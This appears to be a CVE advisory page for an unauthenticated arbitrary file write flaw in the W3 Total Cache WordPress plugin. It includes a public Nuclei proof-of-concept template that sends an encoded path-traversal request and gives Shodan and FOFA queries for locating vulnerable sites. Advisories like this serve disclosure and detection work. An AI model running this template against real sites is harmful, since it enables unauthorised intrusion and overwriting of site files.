CVE-2026-18051: W3 Total Cache < 2.10.5 - Unauthenticated Arbitrary Directory File Write

2026-11-09 PoC Public

Description

W3 Total Cache WordPress plugin < 2.10.5 contains an unrestricted file write vulnerability caused by improper validation of request paths used for cache file names, letting unauthenticated attackers overwrite files including .htaccess, exploit requires no authentication.

Details

CVE
CVE-2026-18051 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-18051

info:
  name: W3 Total Cache < 2.10.5 - Unauthenticated Arbitrary Directory File Write
  author: HaroonArshad-53
  severity: critical
  description: |
    W3 Total Cache WordPress plugin < 2.10.5 contains an unrestricted file write vulnerability caused by improper validation of request paths used for cache file names, letting unauthenticated attackers overwrite files including .htaccess, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can overwrite arbitrary files, including .htaccess, potentially breaking the site and disabling security measures.
  remediation: |
    Upgrade to version 2.10.5 or later.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-18051
    - https://wpscan.com/vulnerability/dc56cdd2-419b-4a64-9d2a-29dc7e79cb6d/
  classification:
    cve-id: CVE-2026-18051
    epss-score: 0.02007
    epss-percentile: 0.8097
    cwe-id: CWE-22
  metadata:
    max-request: 5
    vendor: boldgrid
    product: w3-total-cache
    shodan-query: http.html:"/wp-content/plugins/w3-total-cache/"
    fofa-query: body="/wp-content/plugins/w3-total-cache/"
  tags: cve,cve2026,wordpress,w3-total-cache,path-traversal,unauth,intrusive

variables:
  marker: "{{rand_base(8, 'acfhjnprx')}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /wp-content/plugins/w3-total-cache/readme.txt HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - "Stable tag: ([0-9.]+)"

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "< 2.10.5")'
        internal: true

  - raw:
      - |
        GET /search/{{marker}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        condition: and
        dsl:
          - "status_code == 200"
          - 'contains(to_lower(body), "w3 total cache")'
        internal: true

  - raw:
      - |
        GET /search/{{marker}}/%2e%2e%5c%2e%2e%5c HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
        internal: true

  - raw:
      - |
        GET /wp-content/cache/page_enhanced/{{Hostname}}/_index_slash_ssl.html HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/cache/page_enhanced/{{Hostname}}/_index_slash.html HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains_any(body, marker, "search-no-results")'
        condition: and
# digest: 4b0a00483046022100f4feefea72e9920a271e26418a5b28573165051b744228fe4370e770e88c5728022100d52a29c548e6846a33ad4155a9624de74acafca297b44b1cfe6cb4fd9749e5e7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life